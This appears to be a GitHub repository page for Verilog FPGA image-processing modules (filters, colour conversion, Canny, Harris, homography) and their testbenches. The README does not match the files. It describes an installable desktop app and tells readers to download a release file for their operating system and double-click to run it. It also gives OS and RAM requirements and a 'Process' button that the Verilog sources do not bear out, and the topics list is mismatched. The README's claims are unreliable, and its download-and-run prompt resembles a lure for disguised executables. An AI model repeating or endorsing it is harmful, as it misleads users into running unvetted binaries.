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🖼️ Implement FPGA image processing modules in Verilog, featuring basics to advanced vision algorithms, all equipped with testbenches for easy validation.

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data
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output
output
 
 
python
python
 
 
Dilation.v
Dilation.v
 
 
Erosion.v
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LICENSE.md
LICENSE.md
 
 
Mirror.v
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README.md
README.md
 
 
README_chs.md
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bayer2rgb.v
bayer2rgb.v
 
 
bilateral3x3.v
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bilateral5x5.v
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bilateral9x9.v
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binarize.v
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brightness_contrast.v
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canny_nms.v
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canny_simple.v
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census3x3.v
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census7x9.v
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emboss.v
emboss.v
 
 
gauss5x5.v
gauss5x5.v
 
 
gauss9x9.v
gauss9x9.v
 
 
gray_brightness.v
gray_brightness.v
 
 
gray_to_color.v
gray_to_color.v
 
 
gray_weighted_merger.v
gray_weighted_merger.v
 
 
harris_corner.v
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harris_corner_fixed.v
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histogram.v
histogram.v
 
 
histogram_rgb.v
histogram_rgb.v
 
 
homography.v
homography.v
 
 
homography_enhanced.v
homography_enhanced.v
 
 
hsv2rgb.v
hsv2rgb.v
 
 
image_arithmetic.v
image_arithmetic.v
 
 
laplacian3x3.v
laplacian3x3.v
 
 
linebuffer.v
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mask_processor.v
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mean3x3.v
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mean7x7.v
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mean9x9.v
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median3x3.v
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median7x7.v
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median9x9.v
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remap.v
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rgb2gray.v
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rgb2gray_faster.v
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rgb2hsv.v
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rgb2ycbcr.v
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rgb_brightness.v
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rgb_extractor.v
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rgb_merger.v
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rgb_weighted_merger.v
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simple_barrel_distortion.v
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sobel.v
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tb_bayer2rgb.v
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tb_bayer2rgb_python.v
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tb_bilateral3x3.v
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tb_bilateral3x3.vvp
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tb_bilateral5x5.v
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tb_bilateral9x9.v
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tb_binarize.v
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tb_brightness_contrast.v
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tb_canny_baby.v
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tb_canny_simple.v
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tb_census3x3.v
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tb_census7x9.v
tb_census7x9.v
 
 
tb_dilation.v
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tb_emboss.v
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tb_erosion.v
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tb_gauss5x5.v
tb_gauss5x5.v
 
 
tb_gauss9x9.v
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tb_gray_brightness.v
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tb_gray_to_color.v
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tb_gray_weighted_merger.v
tb_gray_weighted_merger.v
 
 
tb_harris_corner.v
tb_harris_corner.v
 
 
tb_harris_corner_standalone.v
tb_harris_corner_standalone.v
 
 
tb_histogram.v
tb_histogram.v
 
 
tb_histogram_rgb.v
tb_histogram_rgb.v
 
 
tb_homography.v
tb_homography.v
 
 
tb_homography_enhanced.v
tb_homography_enhanced.v
 
 
tb_hsv2rgb.v
tb_hsv2rgb.v
 
 
tb_image_arithmetic.v
tb_image_arithmetic.v
 
 
tb_laplacian3x3.v
tb_laplacian3x3.v
 
 
tb_mask_processor.v
tb_mask_processor.v
 
 
tb_mean3x3.v
tb_mean3x3.v
 
 
tb_mean7x7.v
tb_mean7x7.v
 
 
tb_mean9x9.v
tb_mean9x9.v
 
 
tb_median3x3.v
tb_median3x3.v
 
 
tb_median7x7.v
tb_median7x7.v
 
 
tb_median9x9.v
tb_median9x9.v
 
 
tb_mirror.v
tb_mirror.v
 
 
tb_remap.v
tb_remap.v
 
 
tb_rgb2gray.v
tb_rgb2gray.v
 
 
tb_rgb2gray_high_perf.v
tb_rgb2gray_high_perf.v
 
 
tb_rgb2gray_sobel.v
tb_rgb2gray_sobel.v
 
 
tb_rgb2hsv.v
tb_rgb2hsv.v
 
 
tb_rgb2ycbcr.v
tb_rgb2ycbcr.v
 
 
tb_rgb_brightness.v
tb_rgb_brightness.v
 
 
tb_rgb_extractor.v
tb_rgb_extractor.v
 
 

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🌟 fpga_image - Easy FPGA Image Processing for Everyone

🚀 Getting Started

Welcome to the fpga_image project! This software lets you use advanced image processing techniques on FPGA hardware. With many ready-to-use modules, it simplifies the work of processing images while offering high performance.

🔗 Download the Software

Download fpga_image

To download the software, visit this page: Download fpga_image

📥 Download & Install

  1. Click on the link above to open the Releases page.
  2. Look for the latest version listed at the top.
  3. Choose the file that matches your operating system (Read more about supported systems below).
  4. Click on the file to start downloading it to your computer.

Once the download is complete, follow these steps to install:

  1. Locate the downloaded file in your downloads folder.
  2. Double-click the file to run it.
  3. Follow the installation prompts. You might need to accept terms or make some choices, just follow along.
  4. Once installation is complete, you can find the software in your programs menu or applications list.

🖥 System Requirements

To run fpga_image smoothly, ensure your system meets these requirements:

  • Operating System: Windows 10 or newer, macOS 10.12 or newer, or a recent Linux distribution.
  • RAM: At least 4 GB of RAM.
  • Storage: 100 MB of free space for installation.
  • Processor: Dual-core processor or better.

⚙️ Features

fpga_image includes various features to enhance your image processing tasks:

  • High-Performance Modules: Use numerous validated FPGA image processing modules.
  • Versatile Algorithms: Access algorithms compatible with different image formats.
  • Compatibility: Works well with popular tools like OpenCV.
  • Customizability: Modify settings according to your project needs.

🌈 Supported Image Formats

fpga_image supports a range of image formats including:

  • JPEG
  • PNG
  • BMP
  • YUV

This flexibility makes it suitable for various projects in fields such as computer vision and machine learning.

🛠️ How to Use

Using fpga_image is straightforward. After installation, follow these instructions:

  1. Open the fpga_image application.
  2. Select the input image file you want to process.
  3. Choose the desired processing module from the menu.
  4. Configure any needed settings.
  5. Click on the “Process” button.
  6. View the output image or save it to your computer.

❓ FAQ

What is FPGA?

Field Programmable Gate Array (FPGA) is a type of hardware that can be configured to perform specific tasks. It is highly effective for processing data quickly, making it ideal for image processing tasks.

Can I run fpga_image on older systems?

We recommend using newer operating systems and hardware. Older systems may not provide the best performance.

Where can I find support?

For support, please visit our GitHub issues page. You can also ask questions or report bugs there.

🌍 Community and Contributions

We welcome all contributions and feedback! If you have ideas for new features or improvements, let us know. Your input helps make the project better for everyone.

📢 Stay Updated

Keep an eye on the Releases page for updates and new features: Visit Releases

Thank you for using fpga_image! Happy processing!

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🖼️ Implement FPGA image processing modules in Verilog, featuring basics to advanced vision algorithms, all equipped with testbenches for easy validation.

Topics

fpga ram vhdl image-processing pytorch verilog rnn vivado darknet ice40 digital-systems basys tpu verilog-project npu basys3-fpga debian10 npu-compiler

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